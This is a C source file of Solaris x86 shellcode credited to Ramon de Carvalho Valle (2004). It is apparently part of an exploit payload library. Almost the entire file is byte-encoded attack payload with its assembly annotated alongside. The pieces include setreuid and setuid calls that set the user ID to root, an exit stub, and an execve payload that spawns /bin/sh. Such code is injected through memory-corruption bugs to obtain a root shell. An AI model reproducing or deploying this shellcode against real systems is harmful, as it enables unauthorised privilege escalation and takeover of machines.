67 lines
3.3 KiB
C
67 lines
3.3 KiB
C
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/*
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* sol-x86-shellcode.c
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* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
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*
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* This library is free software; you can redistribute it and/or
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* modify it under the terms of the GNU Lesser General Public
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* License as published by the Free Software Foundation; either
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* version 2.1 of the License, or (at your option) any later version.
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*
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* This library is distributed in the hope that it will be useful,
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* but WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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* Lesser General Public License for more details.
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*
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* You should have received a copy of the GNU Lesser General Public
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* License along with this library; if not, write to the Free Software
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* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
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*
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*/
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char syscallcode[]= /* 14 bytes */
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"\x68\xff\xd8\xff\x3c" /* pushl $0x3cffd8ff */
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"\x6a\x65" /* pushl $0x65 */
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"\x89\xe6" /* movl %esp,%esi */
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"\xf7\x56\x04" /* notl 0x04(%esi) */
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"\xf6\x16" /* notb (%esi) */
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;
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char setreuidcode[]= /* 8 bytes */
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"\x31\xc0" /* xorl %eax,%eax */
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"\x50" /* pushl %eax */
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"\x50" /* pushl %eax */
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"\xb0\xca" /* movb $0xca,%al */
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"\xff\xd6" /* call *%esi */
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;
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char setuidcode[]= /* 7 bytes */
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"\x31\xc0" /* xorl %eax,%eax */
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"\x50" /* pushl %eax */
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"\xb0\x17" /* movb $0x17,%al */
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"\xff\xd6" /* call *%esi */
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;
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char exitcode[]= /* 7 bytes */
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"\x31\xc0" /* xorl %eax,%eax */
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"\x50" /* pushl %eax */
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"\xb0\x01" /* movb $0x01,%al */
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"\xff\xd6" /* call *%esi */
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;
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char shellcode[]= /* 26 bytes */
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"\x31\xc0" /* xorl %eax,%eax */
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"\x50" /* pushl %eax */
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"\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
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"\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
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"\x89\xe3" /* movl %esp,%ebx */
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"\x50" /* pushl %eax */
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"\x53" /* pushl %ebx */
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"\x89\xe1" /* movl %esp,%ecx */
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"\x50" /* pushl %eax */
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"\x51" /* pushl %ecx */
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"\x53" /* pushl %ebx */
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"\xb0\x3b" /* movb $0x3b,%al */
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"\xff\xd6" /* call *%esi */
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;
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